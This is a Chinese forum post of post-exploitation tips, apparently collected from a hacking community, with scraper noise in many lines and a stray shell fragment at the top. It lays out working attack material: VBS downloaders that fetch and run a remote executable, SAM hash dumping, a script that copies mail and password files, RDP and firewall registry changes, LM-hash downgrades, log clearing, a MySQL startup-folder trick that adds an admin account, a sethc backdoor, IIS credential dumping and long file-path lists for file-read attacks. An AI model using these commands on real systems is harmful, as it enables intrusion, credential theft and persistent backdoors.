* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* u2 r% b3 B. R* g6 \2 e* [argp@julius ~]$ ./nfs_mount_ex
. S( H3 [) _/ ]*
, k  o4 u0 h* kcalling nmount()
8 p2 ?* Q, B+ }0 w/ {
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
( T% E+ g8 F- b* O- r9 `# k4 U% Q7 f——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
1 Z: E) N4 F( x————————————————————————————
9 F) s* s2 Y* ]: K3 D3 L8 E1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
, {9 ?% ^2 A4 Y. }) \9 H' f/ Y, s" }" a{
注：
5 `/ f- R2 {; G. B+ J& b$ P& T关于tar的打包方式,linux不以扩展名来决定文件类型。
; Q& v/ U7 l* I1 a! F5 x若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
. [+ y7 n) T( W- w4 A1 G- C那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
, E7 B/ ?" y7 w6 P1 i}  

7 d; U. U- z* e1 s提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
% c/ \& @8 q, ?命令行RAR打包~~·
- s. G: C5 T; j! D& Z; Mrar a -k -r -s -m3 c:\1.rar c:\folder
  y& @3 s8 G4 G! t6 s+ ^——————————————
7 X: k0 Y" d' r. N- c2、收集系统信息的脚本  
0 |! i% ?4 ?8 g" o! J# o' @for window：
3 i  b2 i9 O# u3 P% U9 K- d% c
% O3 R1 t4 B$ J8 Y' S@echo off
echo #########system info collection
- Y( Z5 h( b8 osysteminfo
ver
6 N7 q$ N& R5 K. u# U: v/ L1 ]: zhostname
net user
! T( U+ n$ g- H3 ~* b4 T) Inet localgroup
6 U, U  H) c) Q0 `  B' L+ ]net localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query
8 m/ H0 O" Y& f$ v$ w2 }/ f
9 i% j/ B1 i" t, C2 r5 b5 w) {echo
echo ####task-list#############
+ q5 C$ ^9 ?" m; g/ l' [tasklist /svc
( |3 n) H# `5 ~8 oecho
& t: I1 Y7 q( Vecho ####net-work infomation
ipconfig/all
& U  v# A) I1 Z" [1 ]route print
- w# M* O6 \5 r. ?6 {* N" _$ X+ Zarp -a
7 H( @7 r- h. ~8 E2 r6 U0 x7 gnetstat -anipconfig /displaydns
( s7 O  Z' ~, o3 w9 E" c+ Y% Qecho
& V$ u; y0 e, Wecho #######service############
% T. _0 H% l; a, ^' ~7 ^4 y* e7 Msc query type= service state= all
echo #######file-##############
* X* |( S6 B: l; Bcd \
tree -F
for linux：
+ u0 Q* a4 \# z
#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
" I7 A9 D, \' m/ Decho
cat /proc/cpuinfo
! ^/ ]) N" h. n  Lecho
' \. _% o# K3 ]rpm -qa 2>/dev/null
( }/ U) ^& N/ u+ Z% f######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

7 \8 h1 D9 h; N- u
% [. K2 K8 L% ~. `' d+ K( wecho 'u'r id is' `id`
echo ###atq&crontab#####
atq
4 M! W8 ~% _; c- ?. P, Zcrontab -l
' E& E/ }) U/ @8 techo #####about var#####
set

# ~: D6 l! [2 J/ e6 W% K* @echo #####about network###
- R+ C1 M2 ~" S0 I- n$ _/ K6 r" N" ~" }% W####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
4 U% D& ]  Q  e, e) f9 D! i5 ]arp -v
3 k; `5 U7 {3 ^! vecho ########user####
cat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list

# g' u8 ^, y" R9 }  kfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
sleep 5
- E! q' u$ g9 R$ [locate password >>/tmp/password 2>/dev/null
( ~0 Z2 F1 z+ e' ]. J9 Vsleep 5
locate conf >/tmp/sysconfig 2>dev/null
8 v4 \" z# s* ]9 u% @sleep 5
; A/ j3 V5 M1 ulocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
9 s7 z6 z) {5 B2 o/ I7 v
###maybe can use "tree /"###
; J3 M. j/ r' n# J+ pecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
1 Q5 L0 M, v% s9 g: K3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
' G. U8 o# t( l( J2 ^; ?: T( [               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
) G( e5 j7 @) `: ~3 \接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
! l% p2 r; i4 S4 e$ T- x——————————————
4、vbs 下载者
1
  o- j0 L( p& f' p0 ^/ [6 @echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
/ n' C: L: Y! y+ mecho sGet.Open() >>c:\windows\cftmon.vbs
8 a3 f, C8 ~. g( {, _echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
9 |" o0 q5 A6 Pecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
5 Y" P1 y; c9 q# s1 ]9 O4 R
2
1 s! T7 N, q1 DOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
. ?8 P1 a5 E$ A) ySet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
3 x" Y4 L, S6 HSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

7 c7 f* n( ~9 C, j* i4 l当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
$ G( u9 q9 c3 o$ W7 M1.查询终端端口
& u* s" n6 T; c+ V" BREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
  h. f+ q3 z) ^( A2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
" ?5 E) x- y) ^3 I4 hREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
' ~/ K8 B# j' @5 L3 R, o) f9 tREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
& j7 Y, X( I3 I9 E" dREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
( b. P! u4 I' F' G9 Tinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
! k; V) y5 K! H" Y( A' g_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
  for /d %i in (???) do @echo %i

. i  A4 Y' P1 y  i把当前路径下文件夹的名字只有1-3个字母的打出来
, I, [3 H7 G) i
1 w% t3 `3 R' I0 b2.for /r %i in (*.exe) do @echo %i
  
. n: M* I+ V; n( X以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
/ r6 ?' j" q# x0 f/ }: E
. X7 Y2 a9 B9 X0 X, j1 @6 V; C' tfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
4 N# C  y& }- e5 A7 g0 l9 k. }" F5 F7 A  
: t  p/ C; ^: K# ]  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
8 [) d+ R' M  _+ W) u; y& E' L' P/ C
& `6 @, N( G4 {* ~) F6 p4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
( S" o2 h4 _5 c$ k& I& p; c
9 ^9 e% a- J, o) I- z3 F  delims=后的空格是分隔符 tokens是取第几个位置
5 ?* a2 X1 r# N& u  I——————————
9 o( x! T5 J3 t" N7 o; N●注册表:
1.Administrator注册表备份:
3 Y( Z9 O# y, ^3 b3 Creg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
5 I2 \! |! p. y9 S
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
; J" L6 M) {2 M9 O; j# {9 F
4.Radmin密码:
7 ~  d2 N4 T5 Qreg export HKLM\SYSTEM\RAdmin c:\a.reg
2 u% F8 R% ]( r7 E" L6 n
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
% F: B$ v3 G5 ^4 E( }
* s+ x6 e; n  c7 f/ H& t6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

" G0 X7 k% Z" [% s, \8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

0 {! _# U  u& i9 n8 Q+ e9.另类方法抓系统密码HASH
4 L/ f6 p& d( V, w/ Q6 O8 c' m: ereg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
% p# q7 H, g/ X  p# B2 h5 B( Z
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
1 W' S% _3 A8 c# W5 \/ T星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
* q5 i. k7 v0 _: K. i; c" EFor Each obj3w In objservice
5 o% ^2 S( p/ }childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
# u7 V. n$ i  W1 G, n( `+ h  S) gif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
# T4 s2 ?" M- ~! _. Q. c9 X* rexit for
msgbox("error!")
wscript.quit
; ?8 |7 |3 f9 f) d6 }end if
6 t5 t& R, q/ p7 y# U" cserverbindings=IIS.serverBindings
2 ?1 C, [9 b" F. kServerComment=iis.servercomment
! g* Q& R( z  _& Jset IISweb=iis.getobject("IIsWebVirtualDir","Root")
! u, e1 l1 W/ Nuser=iisweb.AnonymousUserName
) F) q4 X$ L  Apass=iisweb.AnonymousUserPass
path=IIsWeb.path
, |; ~, r! l: U- u0 Nlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
: H0 u8 J$ T$ \* H6 fNext
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
0 K6 d( T9 P4 P0 p- R. jWScript.Quit
* B) s8 ~& w* ?' q2 i* k复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
% q0 N; z) E" C& R% M2 t& ?! y将folder.htt文件，加入以下代码：
; u- ^7 c0 n; ^/ r& [/ v; O<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
8 m# b) l! r5 S  e复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
- W) f% E7 X" i8 K; jPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
8 K4 s6 b& S! l7 M! B url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
/ `8 R* ?# f3 t+ l! S
6 D) j# N7 m) [9 M2 L- V==============================================================
- Q" K1 B$ q- g# X# F9 E* {0 X. }LINUX常见路径：
. e" G0 F) O. \6 ]
/etc/passwd
/etc/shadow
/ V& C8 ?8 ?+ z1 I" {) |' e/etc/fstab
7 z# S) ]! s9 x# e: x4 U, C/etc/host.conf
: `2 ^7 U3 D/ P# F/etc/motd
! `2 A& e1 v2 c5 t% I; I( o/etc/ld.so.conf
/var/www/htdocs/index.php
) D. \( \6 f5 Z( Y/var/www/conf/httpd.conf
# w$ I% D* U/ t; _/ C1 ?) I/var/www/htdocs/index.html
/ F3 y2 U. D4 V8 O& O* [/var/httpd/conf/php.ini
0 Y+ g+ \4 U. j9 @, ~8 O: G/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
3 X0 L$ k" ~6 \( Y5 K/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
0 D& \. f& @  T0 q& ]7 h/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
$ l, U8 _. `0 U4 \) W5 ~/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
- ]$ S( z. C9 ~. R+ s2 e5 r/etc/httpd/htdocs/index.php
, Z" p2 X/ f9 A; N1 a/etc/httpd/conf/httpd.conf
) m. Z  _0 R; b- _8 J9 V$ A+ `/etc/httpd/htdocs/index.html
/www/php/php.ini
. }+ J- p$ B. {: z+ |/www/php4/php.ini
/www/php5/php.ini
: h) C3 o) Z0 ?5 g, v) H- M4 o/www/conf/httpd.conf
- @) F" J) I' f. b  ]1 ^& j/www/htdocs/index.php
: q9 `9 G9 ?4 |* P8 |/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
8 U7 {3 G6 W9 U  ]" E$ G2 ^; p/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
) ]( i- D& e, z4 B6 m/etc/apache/apache.conf
4 p; G, E  ~% k+ n+ e7 T0 d+ }/etc/apache2/apache.conf
  r+ M) ]& V2 T4 _/etc/apache/httpd.conf
/etc/apache2/httpd.conf
; H: _% Q6 Z$ C3 B7 U$ P9 e/etc/apache2/vhosts.d/00_default_vhost.conf
4 J" d* H2 {8 C/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
! m8 e# T  M0 {6 w! |/etc/httpd/conf.d/php.conf
6 y1 L5 Y( Y- z) p/etc/httpd/conf.d/httpd.conf
% Q0 e! S* t" C) C/ a, L" x( `/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
7 F* K; O4 @7 J. @7 y/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
) \  N. y+ g9 H  H3 G( e/home/apache/conf/httpd.conf
: m4 n& g7 V: P1 Y6 X/home/apache2/conf/httpd.conf
7 n! o; \& {& ]+ J# F; f; }/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
( Q" q; m8 Q' P3 q4 G/var/log/apache/access.log
- X( H! O4 f& h' e. B/var/log/apache2/error_log
# Q, ]5 |& o$ Z5 u+ P/var/log/apache2/error.log
/var/log/apache2/access_log
2 V, q7 G# w$ A9 w/var/log/apache2/access.log
+ Z$ m8 d4 B4 F3 F1 J/var/www/logs/error_log
/var/www/logs/error.log
& y- y- l; w, y8 L/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
! _3 j  a2 V* }& ~7 G6 P* P/usr/local/apache/logs/access_log
! J. ^5 L4 t) `, g  m8 g/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
# w( p& Z) ^2 d/var/log/access_log
5 s  t, b' O7 y' f* s) f/var/log/access.log
  p9 e* }$ V: H  l% I  h& ?& l/usr/local/apache/logs/access_logaccess_log.old
" ?" O$ Y. F" Y/usr/local/apache/logs/error_logerror_log.old
8 E$ }0 S7 u1 v) m( v/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/ k- ~+ u5 u, s7 s/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
7 ~8 s. s5 \) [8 W8 [/usr/local/etc/php.ini
/usr/local/lib/php.ini
+ k9 a: r4 u7 i$ |. Y/usr/local/php/lib/php.ini
5 D" h- T8 ~( y/usr/local/php4/lib/php.ini
! ?) E  u* ]! a8 M" `/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
9 _* h* Y/ d+ L9 y) o/usr/local/php5/lib/php.ini
& _& @3 j8 R, Z/ U+ ^/usr/local/php5/etc/php.ini
: U8 p/ S* o' e0 X/usr/local/php5/php5.ini
: e8 r+ t1 r/ ^/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
! s$ N. @2 l/ D. N' U/etc/php4/apache/php.ini
+ ?% ~( h/ ^+ b/etc/php4/apache2/php.ini
/ n! ~! g; D6 g3 R# G/etc/php5/apache/php.ini
/ f2 `$ Z6 W) m0 O6 C2 f: G/etc/php5/apache2/php.ini
& p8 o* ?0 W7 B* ^/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
4 @4 W" `: w; I- P: P/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
+ k# `+ O3 U; x- d% P$ `/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
# e" D! b, u! m* p4 }3 L* K/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
* ?" k7 O* N6 A5 b6 m. w# @/php5/php.ini
/php4/php.ini
/php/php.ini
; L7 r5 ?7 d  A/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
( M3 [) W% L, b8 f# Q& z) t/home/bin/stable/apache/php.ini
! f- w/ `. w( O1 ]. ]* i! r  \& M! Q/var/log/mysql/mysql-bin.log
5 S. X+ S3 x; ~9 c* B) e* ~/var/log/mysql.log
, E3 [' Q6 @2 M" D# D0 i1 w* q/var/log/mysqlderror.log
  a1 p' _) |, j/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
. _6 k6 S( I1 \! |/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
- W0 b% i! D  @' d" B/etc/my.cnf
  v" V, W! j9 O, L  ?3 F/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
( m  e6 `. W4 Q1 ]* t/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
5 ]4 W5 b" K: p8 T2 a( @/usr/local/cpanel/logs/license_log
% T1 N! n0 Y7 W$ l6 @2 @/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
; q. |! P, g8 {: K9 P9 c+ F6 E/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
' S' n) U1 E& |4 q4 ^4 E( b, f
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
( ]1 z# p! L, `c:\1.txt
" V3 B9 N% s9 q; zc:\a.txt
) v" @$ f( q! M1 i) F7 Y
- @( \; B# Z- i. W0 u' J5 J3 cc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
5 q: m& D# C. K1 I. b% Tc:\program files\CMailServer\CMailServer.exe
6 J* g' ?* f! f7 V3 Q3 q: S' Y8 cc:\program files\CMailServer\WebMail\index.asp
0 i) A8 Z* _* fC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
" T; m. U0 D2 R# z, ?, |5 KC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
" |8 Y) x( P' X* n+ ?' NC:\WINDOWS\7i24tool.exe

, h" z( N, N1 N% T' ?9 fc:\hzhost\databases\url.asp

+ Z1 J, w$ A1 A2 l+ m, K, q" Dc:\hzhost\hzclient.exe
" N$ t! t  e1 V: f) S; XC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
$ w+ T: i: V: S/ C1 C
3 f& r0 i( N5 O, \C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
$ w  H# b6 N, BC:\WINDOWS\web.config
' Y/ g- w9 R, ~# I  I# x+ Wc:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
2 ^; j- \! F1 R% ~& vc:\website\index.html
c:\web\index.asp
! r  Y; ]% O& l5 u2 q3 hc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
0 M. |2 H) }1 @6 _5 G6 u9 T% Mc:\web\index.php
c:\www\index.php
% R. [8 t% e: X! D. Xc:\WWWROOT\index.php
% z5 E3 t7 B3 Lc:\WWWsite\index.php
c:\web\default.html
+ {# L6 a* [6 K0 h, h! n& Sc:\www\default.html
c:\WWWROOT\default.html
$ j2 L1 J" I( k8 N6 F7 bc:\website\default.html
0 S! ^; D4 t, B8 o3 tc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
. [- c0 ~# o# ~# i9 t- qc:\www\default.php
c:\WWWROOT\default.php
/ n0 I; y& i" Z9 E8 n& Fc:\WWWsite\default.php
$ ~1 e1 ?3 ^8 {% ^! e  K# V4 hC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
0 Q& V$ w$ y6 ~C:\Program Files\Microsoft Office\OFFICE10\winword.exe
( c  k# l' p) l$ I4 BC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
# r0 c# `" J0 YC:\Program Files\Internet Explorer\IEXPLORE.EXE
8 M# x9 m4 d0 U5 LC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
; m8 O2 W8 W. C$ o* h3 mC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
1 D. t$ w$ [5 i+ S* Gc:\rising.ini
: L. |- n& ^5 m% ^+ E! H/ _C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
+ _( V: p+ D# n* EC:\Documents and Settings\Administrator\Cookies\index.dat
8 A# i! {* c. z/ A7 U4 r/ }: {C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
# `7 [: C6 o- X5 qC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
% }  i/ H9 Y" w; z2 k, Y# ^) n6 }C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
: n5 v5 I4 r+ q( C- K: VC:\Documents and Settings\Administrator\My Documents\a.txt
* Z5 w" ~6 E9 B! T1 O2 i) E* xC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
; O; H6 t1 A/ Y) ?  U  N4 WC:\Program Files\Symantec\SYMEVENT.INF
5 n0 C: ]5 T# D, `  B! u1 K1 O" y. JC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
) T. y- D; T( f) S9 QC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
; m* r: M0 t; Y5 \C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
* s# P, U/ C) x( VC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
8 \4 @8 x* m* h5 V! ~1 |$ _C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
- Z$ }# ]0 a7 S2 L/ b$ K9 q3 k; fC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
: r7 e+ f! q. V9 l+ Y# sC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
, n$ y4 h0 q$ t2 A2 ~6 ?4 tC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
8 s1 x2 b" R$ ~8 R6 JC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
6 O% o; S% f1 [( q5 W9 t: k% SC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
8 t% k9 z; m( h3 }/ zc:\MySQL\MySQL Server 4.1\bin\mysql.exe
' X! f- G1 Z3 ^: g  o3 t# Lc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
. m5 w" ]: e2 l. `$ d* ]% U7 @5 IC:\Program Files\Oracle\oraconfig\Lpk.dll
9 _2 {" V, G$ f5 k" q7 SC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
1 _- ]9 V% |# q' o+ IC:\WINDOWS\system32\inetsrv\w3wp.exe
! i, x5 P2 Y2 f  t, eC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
: Y9 B( a, u  x" |1 ]/ d0 o( GC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
4 K. ?. C7 u0 ^C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
: f- A6 T* {! jc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
* [: S0 s1 G3 A. e# t; e  |c:\program files\tomcat6\bin\version.sh
0 ^- _- ^" T& ~0 u, aC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
5 a6 H; r9 h$ v/ x% e2 S% C* kc:\Apache2\Apache2\bin\Apache.exe
5 ?5 N1 E; `4 `# ^c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
% j! n0 k! D! b9 rC:\Program Files\Apache Group\Apache2\bin\Apache.exe
5 C& k3 n6 y( G; e. C" u0 Q/usr/local/tomcat5527/bin/version.sh
